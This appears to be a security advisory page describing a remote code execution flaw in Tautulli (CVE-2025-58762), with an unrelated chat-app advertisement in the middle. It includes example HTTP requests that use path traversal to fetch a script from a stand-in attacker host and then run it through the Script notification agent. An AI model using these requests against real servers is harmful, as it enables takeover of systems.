Overview
Tautulli, a popular Python-based monitoring and tracking tool for Plex Media Server, has been found to have a critical remote code execution vulnerability in versions 2.15.3 and earlier. This vulnerability is of high importance due to the potential system compromise or data leakage it can cause. The vulnerability can be exploited by an attacker with administrative access to the server, using the `pms_image_proxy` endpoint and the `Script` notification agent.
Vulnerability Summary
CVE ID: CVE-2025-58762
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: Admin
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Tautulli | v2.15.3 and earlier
How the Exploit Works
The exploit involves an attacker with administrative access exploiting the `pms_image_proxy` endpoint to write arbitrary Python scripts into the application filesystem. This is achieved by changing the URL of the PMS to a server they control and making a `pms_image_proxy` request with a URL in the `img` parameter and the desired file name in the `img_format` parameter.
As Tautulli uses a hash of the desired metadata, along with the `img_format` to construct a file path, and `img_format` is not sanitized, the attacker can use path traversal characters to specify the filename of their choice. If the file does not exist, Tautulli will attempt to fetch the image from the configured PMS. Since the attacker controls the PMS, they can return arbitrary content in response to this request, which will then be written into the specified file.
The attacker can then use the built-in `Script` notification agent to run the local script, effectively obtaining remote code execution on the application server.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited:
GET /pms_image_proxy/img?url=http://attacker.com/malicious_script.py&img_format=../../../../home/user/malicious_script.py HTTP/1.1
Host: target.example.com
The attacker would then trigger the script execution through the `Script` notification agent.
POST /notification_agents/Script HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "script_folder": "/home/user", "script_file": "malicious_script.py" }
This is a high-risk vulnerability, and users are strongly advised to upgrade to Tautulli version 2.16.0 to receive a patch. As a temporary mitigation, a web application firewall (WAF) or intrusion detection system (IDS) can be used to monitor and block suspicious requests and activities.